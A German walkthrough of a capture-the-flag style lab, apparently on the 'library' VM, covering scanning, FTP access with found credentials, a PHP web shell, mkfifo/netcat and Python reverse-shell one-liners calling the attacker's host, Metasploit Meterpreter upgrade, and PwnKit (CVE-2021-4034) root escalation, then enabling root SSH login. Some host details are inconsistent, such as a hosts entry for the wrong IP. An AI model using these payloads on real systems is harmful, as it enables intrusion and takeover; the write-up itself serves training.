Ziel der Reconnaissance-Phase ist es, Informationen über das Zielsystem zu sammeln, um potenzielle Angriffspunkte zu identifizieren. Dies umfasst das Scannen des Netzwerks, die Identifizierung offener Ports und Dienste sowie die Auflösung von Hostnamen.
192.168.2.118 08:00:27:9c:e4:a3 PCS Systemtechnik GmbH
Der Befehl `arp-scan -l` sucht im lokalen Netzwerk nach aktiven Hosts und gibt ihre IP- und MAC-Adressen aus. In diesem Fall wurde ein Host mit der IP-Adresse 192.168.2.118 und der MAC-Adresse 08:00:27:9c:e4:a3 gefunden. Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.
192.168.2.116 dina.vln
Der Befehl `vi /etc/hosts` öffnet die Host-Datei zur Bearbeitung. Hier wird der Hostname `dina.vln` der IP-Adresse 192.168.2.116 zugewiesen. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse bei der Interaktion mit dem Zielsystem, was die Übersichtlichkeit erhöht. Es wird empfohlen, dies zu tun, um die nachfolgenden Schritte zu erleichtern und zu beschleunigen. Allerdings wird im weiteren Verlauf der Host `library.vln` verwendet, daher ist dieser Eintrag in der `/etc/hosts` Datei vermutlich nicht korrekt.
In der Web Enumeration-Phase wird die Webanwendung detaillierter untersucht, um Schwachstellen zu finden. Dies beinhaltet die Analyse der Verzeichnisstruktur, die Überprüfung der robots.txt und readme.txt und die Suche nach bekannten Exploits.
view-source:http://library.vln/library.php Welcome to the Library ! -- ripemd160 -->
Der Befehl `view-source:http://library.vln/library.php` zeigt den Quellcode der Datei `/library.php` im Browser an. Der Kommentar "-- ripemd160 -->" deutet darauf hin, dass der RIPEMD-160 Hash-Algorithmus in der Anwendung verwendet wird. Der Kommentar "Welcome to the Library !" ist ein erster Hinweis auf den Zweck der Anwendung.
21/tcp open ftp vsftpd 3.0.3 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Der Befehl `nmap -sS -sC -sV -T5 -A 192.168.2.118 -p- | grep open` verwendet Nmap, um einen umfassenden Scan des Zielsystems durchzuführen und alle offenen Ports zu identifizieren. Es werden die Ports 21 (FTP) und 80 (HTTP) als offen identifiziert. Dies deutet darauf hin, dass FTP und ein Webserver auf dem Zielsystem laufen. Die gefundenen Informationen sind nützlich, um die Angriffsfläche einzugrenzen.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-13 19:39 CEST Nmap scan report for library.vln (192.168.2.118) Host is up (0.00010s latency). Not shown: 55531 filtered tcp ports (no-response), 10002 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works MAC Address: 08:00:27:9C:E4:A3 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 - 4.11 Network Distance: 1 hop Service Info: OS: Unix TRACEROUTE HOP RTT ADDRESS 1 0.10 ms library.vln (192.168.2.118)
Dieser Nmap-Scan bestätigt die vorherigen Ergebnisse und liefert zusätzliche Informationen über das Betriebssystem (Linux) und den Webserver (Apache 2.4.18). Der HTTP-Titel "Apache2 Ubuntu Default Page: It works" deutet darauf hin, dass die Standardseite des Apache-Webservers angezeigt wird, was auf eine unkonfigurierte oder schlecht konfigurierte Webanwendung hindeuten könnte.
- Nikto v2.5.0 + Target IP: 192.168.2.118 + Target Hostname: 192.168.2.118 + Target Port: 80 + Start Time: 2023-07-13 19:39:07 (GMT2) + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch. + /: Server may leak inodes via ETags, header found with file /, inode: 2c39, size: 58dde3274d516, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD . + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2023-07-13 19:39:18 (GMT2) (11 seconds) + 1 host(s) tested
Der Befehl `nikto -h 192.168.2.118` verwendet Nikto, um den Webserver auf dem Zielsystem auf bekannte Sicherheitslücken und Konfigurationsfehler zu scannen. Nikto fand heraus, dass der X-Frame-Options Header und der X-Content-Type-Options Header nicht gesetzt sind. Außerdem fand es heraus, dass die verwendete Apache Version veraltet ist. Das Setzen der Header wird dringend empfohlen. Ein Update auf die neueste Apache Version sollte schnellstmöglich durchgeführt werden. Zudem wurde das Vorhandensein der Apache Default Datei "/icons/README" gefunden, was auf eine unsichere Konfiguration hindeuten kann.
http://library.vln/index.html (Status: 200) [Size: 11321] http://library.vln/library.php (Status: 200) [Size: 1547]
Der Befehl `gobuster dir ...` verwendet Gobuster, um die Webanwendung auf dem Zielsystem nach weiteren Dateien und Verzeichnissen zu durchsuchen. Es wurden die Dateien `/index.html` und `/library.php` gefunden.
+ http://library.vln/library.php (CODE:200|SIZE:1547) http://library.vln/index.html (Status: 200) [Size: 11321] http://library.vln/library.php (Status: 200) [Size: 1547]
Mit "dirb" werden die Dateien nochmal bestätigt.
In dieser Phase wird versucht, initialen Zugriff auf das System zu erlangen. Da ein FTP Dienst gefunden wurde, wird dieser untersucht.
Connected to 192.168.2.118. 220 (vsFTPd 3.0.3) Name (192.168.2.118:cycat): globus 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>
Der Befehl `ftp 192.168.2.118` versucht, eine Verbindung zum FTP-Server auf dem Zielsystem herzustellen. Der Benutzername `globus` wird verwendet und das Passwort "AroundTheWorld" ist gültig.
--2023-07-13 23:14:02-- ftp://globus:*password*@192.168.2.118/ => 192.168.2.118/.listing Verbindungsaufbau zu 192.168.2.118:21 … verbunden. Anmelden als globus … Angemeldet! > SYST ... fertig. > PWD ... fertig. > TYPE I ... fertig. > CWD nicht notwendig. > PASV ... fertig. > LIST ... fertig. 192.168.2.118/.listing [ <=> ] 181 --.-KB/s in 0s 2023-07-13 23:14:02 (53,9 MB/s) - »192.168.2.118/.listing« gespeichert [181] »192.168.2.118/.listing« gelöscht. --2023-07-13 23:14:02-- ftp://globus:*password*@192.168.2.118/html/
Hier werden die Dateien von dem FTP Server rekursiv heruntergeladen.
insgesamt 20 -rw-r--r-- 1 root root 11321 17. Jul 2019 index.html -rw-r--r-- 1 root root 2831 22. Jul 2019 library.php -rw-r--r-- 1 root root 3172 21. Jul 2019 style.css
Der Befehl `ll` listet den Inhalt des Verzeichnisses auf, in dem die heruntergeladenen Dateien gespeichert sind. Es wurden die Dateien `index.html`, `library.php` und `style.css` gefunden.
┌──(root㉿cycat)-[~/192.168.2.118/html] └─# cat library.php session_start(); function get_string_between($string, $start, $end){ $string = ' ' . $string; $ini = strpos($string, $start); if ($ini 0) return ''; $ini += strlen($start); $len = strpos($string, $end, $ini) - $ini; return substr($string, $ini, $len); } get_string_between($str, "{\"lastviewed\"\"", "\"}"); $DATABASE_HST = 'localhost'; $DATABASE_USER = 'username'; $DATABASE_PASS = 'password'; $DATABASE_NAME = 'library'; /* Setup the connection to the database */ $mysqli = new mysqli('localhost', 'username', 'password', 'library');
Der Befehl `cat library.php` gibt den Quellcode der Datei `library.php` aus. Die Datei enthält Datenbankverbindungsdaten (Benutzername, Passwort, Datenbankname). Allerdings sind die Werte für Benutzername und Passwort auf die Standardwerte "username" und "password" gesetzt. Dies deutet darauf hin, dass die Datenbankverbindungsdaten nicht geändert wurden und somit ein potenzielles Sicherheitsrisiko darstellen.
Da nun Zugriff auf den FTP Server besteht, wird hier eine Reverse Shell hochgeladen.
ftp> put revshell.php local: revshell.php remote: revshell.php 229 Entering Extended Passive Mode (|||16131|) 150 Ok to send data. 100% |*| 31 52.74 KiB/s 00:00 ETA 226 Transfer complete. 31 bytes sent in 00:00 (33.52 KiB/s) ftp> ls -la 229 Entering Extended Passive Mode (|||36946|) 150 Here comes the directory listing. drwxrwxrwx 2 1001 1001 4096 Jul 13 14:16 . drwxr-xr-x 3 0 0 4096 Jul 17 2019 .. -rw-r--r-- 1 0 0 12288 Jul 22 2019 .library.php.swp -rwxrwxrwx 1 0 0 11321 Jul 17 2019 index.html -rwxrwxrwx 1 0 0 2831 Jul 22 2019 library.php -rw-r--r-- 1 1001 1001 31 Jul 13 14:16 revshell.php -rwxrwxrwx 1 0 0 3172 Jul 21 2019 style.css 226 Directory send OK.
Die Datei `revshell.php` wird erfolgreich auf den FTP-Server hochgeladen.
Der Datei "/revshell.php" werden mit "chmod" die Rechte erteilt, diese auszuführen.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mit dem Aufruf der Datei, wird das Ergebnis von "id" ausgegeben und der Nutzer "www-data" bestätigt.
Nun wird die Reverse Shell ausgeführt.
listening on [any] 5555 ...
Es wird eine "nc" Verbindung gestartet.
Payload: http://library.vln/revshell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.105%205555%20%3E%2Ftmp%2Ff
Das ist der Payload um die Reverse Shell zu starten.
listening on [any] 5555 ... connect to [192.168.2.105] from (UNKNWN) [192.168.2.118] 53132 /bin/sh: 0: can't access tty; job control turned off $
Die Reverse Shell wurde erfolgreich aufgebaut.
In dieser Phase wird versucht, die Privilegien auf dem Zielsystem zu erhöhen.
www-data@ubuntu:/var/www/html$ cd /home/ www-data@ubuntu:/home$ ls -la total 16 drwxr-xr-x 4 root root 4096 Jul 22 2019 . drwxr-xr-x 24 root root 4096 Jul 17 2019 .. drwxr-xr-x 2 globus globus 4096 Jul 22 2019 globus drwxr-xr-x 16 library library 4096 Jul 22 2019 library www-data@ubuntu:/home$ cd globus/ www-data@ubuntu:/home/globus$ ls examples.desktop www-data@ubuntu:/home/globus$ cat .bash_history .bashrc examples.desktop .bash_logout .profile www-data@ubuntu:/home/globus$ cat .bash_history cat: .bash_history: Permission denied www-data@ubuntu:/home/globus$
Es wird versucht, die "\~/.bash\_history" Datei auszulesen, was aber aufgrund fehlender Berechtigungen scheitert.
www-data@ubuntu:/home/globus$ sudo -l [sudo] password for www-data:
Hier wird versucht, mit "Sudo" Berechtigungen zu bekommen, was aber nicht funktioniert, da das Passwort nicht bekannt ist.
find / -type f -perm -4000 -ls 2>/dev/null 271354 420 -rwsr-xr-x 1 root root 428240 Apr 15 2016 /usr/lib/openssh/ssh-keysign 271563 16 -rwsr-xr-x 1 root root 14864 Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1 398023 20 -rwsr-xr-x 1 root root 18664 Mar 10 2016 /usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox 286603 16 -r-sr-xr-x 1 root root 14320 Jul 17 2019 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper 286609 12 -r-sr-xr-x 1 root root 9532 Jul 17 2019 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper 266845 12 -rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device 266547 44 -rwsr-xr-- 1 root messagebus 42992 Apr 1 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 263031 40 -rwsr-xr-x 1 root root 39904 Mar 29 2016 /usr/bin/newgrp 262632 76 -rwsr-xr-x 1 root root 75304 Mar 29 2016 /usr/bin/gpasswd 263094 56 -rwsr-xr-x 1 root root 54256 Mar 29 2016 /usr/bin/passwd 262312 40 -rwsr-xr-x 1 root root 40432 Mar 29 2016 /usr/bin/chsh 263658 24 -rwsr-xr-x 1 root root 23304 Apr 15 2016 /usr/bin/ubuntu-core-launcher 263203 24 -rwsr-xr-x 1 root root 23376 Jan 17 2016 /usr/bin/pkexec 262310 52 -rwsr-xr-x 1 root root 49584 Mar 29 2016 /usr/bin/chfn 263579 136 -rwsr-xr-x 1 root root 136808 Mar 30 2016 /usr/bin/sudo 275702 384 -rwsr-xr-- 1 root dip 390888 Jan 29 2016 /usr/sbin/pppd 786537 140 -rwsr-xr-x 1 root root 142032 Feb 17 2016 /bin/ntfs-3g 786589 40 -rwsr-xr-x 1 root root 40128 Mar 29 2016 /bin/su 786488 32 -rwsr-xr-x 1 root root 30800 Mar 11 2016 /bin/fusermount 786609 28 -rwsr-xr-x 1 root root 27608 Apr 13 2016 /bin/umount 786525 40 -rwsr-xr-x 1 root root 40152 Apr 13 2016 /bin/mount 786562 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping 786563 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
Es wird nach ausführbaren Dateien mit dem SUID Bit gesucht. "pkexec" ist anfällig.
www-data@ubuntu:/home/globus$ cd ../library/ www-data@ubuntu:/home/library$ ls -la total 124 drwxr-xr-x 16 library library 4096 Jul 22 2019 . drwxr-xr-x 4 root root 4096 Jul 22 2019 .. -rw------- 1 library library 1272 Jul 22 2019 .ICEauthority -rw------- 1 library library 51 Jul 22 2019 .Xauthority -rw------- 1 library library 1287 Jul 22 2019 .bash_history -rw-r--r-- 1 library library 220 Jul 17 2019 .bash_logout -rw-r--r-- 1 library library 3771 Jul 17 2019 .bashrc drwx------ 11 library library 4096 Jul 17 2019 .cache drwx------ 14 library library 4096 Jul 17 2019 .config -rw-r--r-- 1 library library 25 Jul 17 2019 .dmrc drwx
Die Ausgabe zeigt die Dateien im Home-Verzeichnis des Benutzers `library`. Die Tatsache, dass ".bash_history" und andere Konfigurationsdateien vorhanden sind, deutet darauf hin, dass dies das Home-Verzeichnis eines normalen Benutzers ist.
ls -la /etc/passwd -rw-r--r-- 1 root root 2398 Jul 22 2019 /etc/passwd
Die Datei `/etc/passwd` ist für alle lesbar, aber nicht beschreibbar. Dies ist die Standardeinstellung.
getcap -r / 2>/dev/null /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep /usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep /usr/bin/arping = cap_net_raw+ep /usr/bin/mtr = cap_net_raw+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep /usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
Der Befehl `getcap -r / 2>/dev/null` listet alle ausführbaren Dateien mit gesetzten Dateisystem-Capabilities auf. Diese Capabilities erlauben den Programmen bestimmte privilegierte Operationen ohne Root-Rechte auszuführen. Die hier gelisteten Programme sind jedoch keine direkte Möglichkeit zur Privilegieneskalation.
Da nun das FTP Directory bekannt ist und "pkexec" aufgeführt ist, wird nun mit Metasploit eine Reverse Shell mit Root-Rechten ausgeführt.
cd /opt/ www-data@ubuntu:/opt$ ls -la total 8 drwxr-xr-x 2 root root 4096 Jul 17 2019 . drwxr-xr-x 24 root root 4096 Jul 17 2019 .. www-data@ubuntu:/opt$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
Die `/etc/crontab` Datei zeigt die konfigurierten Cronjobs. Diese werden mit dem Nutzer "Root" ausgeführt.
lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04 LTS Release: 16.04 Codename: xenial
Das Betriebssystem ist Ubuntu 16.04. Dies ist eine wichtige Information, um nach Exploits zu suchen.
Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - Local Code Execution | linux/local/40937.txt Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege Escalation | linux/local/40054.c Google Chrome (Fedora 25 / Ubuntu 16.04) - 'tracker-extract' / 'gnome-video-thumbnailer' + 'totem' Drive-By Download | linux/local/40943.txt LightDM (Ubuntu 16.04/16.10) - 'Guest Account' Local Privilege Escalation | linux/local/41923.txt Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentS 7.3.1611) - 'ldso_hwcap_64 Stack Clash' Local Privilege Escalation | linux_x86-64/local/42275.c Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation | linux_x86/local/42276.c Linux Kernel (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps | linux/dos/39773.txt Linux Kernel 4.14.7 (Ubuntu 16.04 / CentS 7) - (KASLR & SMEP Bypass) Arbitrary File Read | linux/local/45175.c Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escalation (Metasploit) | linux/local/40759.rb Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak | linux/dos/46529.c Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation | linux_x86-64/local/40871.c Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out-of-Bounds Privilege Escalation | linux_x86-64/local/40049.c Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' Race Condition Privilege Escalation | windows_x86-64/local/47170.c Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PRG_LOAD) Privilege Escalation | linux/local/39772.txt Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_S_SET_REPLACE' Local Privilege Escalation | linux/local/40489.txt Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp Kernel Pointer | linux/dos/45919.c Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation | linux_x86-64/local/44300.c Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c
Eine Suche nach Exploits für Ubuntu 16.04 wird durchgeführt.
In der nächsten Phase wird eine Reverse Shell mit Metasploit genutzt, um Root-Rechte zu erlangen.
msf6 > use multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > options
www-data@ubuntu:/opt$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.114",4447));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Der Befehl erzeugt eine Reverse Shell mit dem Python Payload.
[*] Started reverse TCP handler on 192.168.2.105:5455 [*] Command shell session 1 opened (192.168.2.105:5455 -> 192.168.2.118:57436) at 2023-07-13 23:33:00 +0200 Shell Banner: $ -- $
Die Reverse Shell wurde erfolgreich gestartet.
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter msf6 post(multi/manage/shell_to_meterpreter) > set session 1 msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true HANDLER => true msf6 post(multi/manage/shell_to_meterpreter) > set LHST eth0 LHST => 192.168.2.105 msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433 lport => 4433 msf6 post(multi/manage/shell_to_meterpreter) > run msf6 post(multi/manage/shell_to_meterpreter) > set session 1 session => 1 msf6 post(multi/manage/shell_to_meterpreter) > run
Nun wird die Shell zu einer Meterpreter Session migriert.
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.105:4433 [*] Sending stage (1017704 bytes) to 192.168.2.118 [*] Meterpreter session 2 opened (192.168.2.105:4433 -> 192.168.2.118:55994) at 2023-07-13 23:35:15 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed msf6 post(multi/manage/shell_to_meterpreter) >
Die Reverse Shell wird erfolgreich zur Meterpreter Session umgewandelt.
Mittels der gefundenen Lücke PwnKit (CVE_2021_4034) werden Root-Rechte erlangt.
msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): Name Current Setting Required Description - -- -- PKEXEC_PATH no The path to pkexec binary SESSION 2 yes The session to run this module on WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description - -- -- LHST 192.168.2.105 yes The listen address (an interface may be specified) LPRT 4444 yes The listen port Exploit target: Id Name -- - 0 x86_64 View the full module info with the info, or info -d command. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2 session => 2 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4446 lport => 4446 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHST eth0 LHST => 192.168.2.105 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
Nun wird die PwnKit Schwachstelle aufgerufen und ausgeführt.
[*] Started reverse TCP handler on 192.168.2.105:4446 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.itfwsqgrv [+] The target is vulnerable. [*] Writing '/tmp/.lzlenxvyfh/hcvheo/hcvheo.so' (548 bytes) ... [!] Verify cleanup of /tmp/.lzlenxvyfh [*] Sending stage (3045348 bytes) to 192.168.2.118 [+] Deleted /tmp/.lzlenxvyfh/hcvheo/hcvheo.so [+] Deleted /tmp/.lzlenxvyfh/.yqnbtnghpo [+] Deleted /tmp/.lzlenxvyfh [*] Meterpreter session 3 opened (192.168.2.105:4446 -> 192.168.2.118:34958) at 2023-07-13 23:36:31 +0200 meterpreter >
PwnKit wurde erfolgreich ausgeführt und Root Rechte erlangt.
Dieser Abschnitt ist für dieses Zielsystem nicht relevant, da es keine Benutzer THOR gibt
Dieser Abschnitt demonstriert den unbefugten Zugriff auf das System mit den erlangten Root-Rechten.
Um uns via SSH als Root anmelden zu können, muss die SSH Konfigurationsdatei angepasst werden, und die Zeile `PermitRootLogin` auf `yes` gesetzt werden. Damit das funktioniert, muss sich die Textdatei vorher im Editor mit Root Privilegien geöffnet werden.
┌──(root㉿cyber)-[~] └─# vi /etc/ssh/sshd_config
Nachdem wir die Datei angepasst haben, muss der SSH Dienst neu gestartet werden.
┌──(root㉿cyber)-[~] └─# systemctl restart sshd
Jetzt können wir uns als Root anmelden.
┌──(root㉿cyber)-[~] └─# ssh root@dina.vln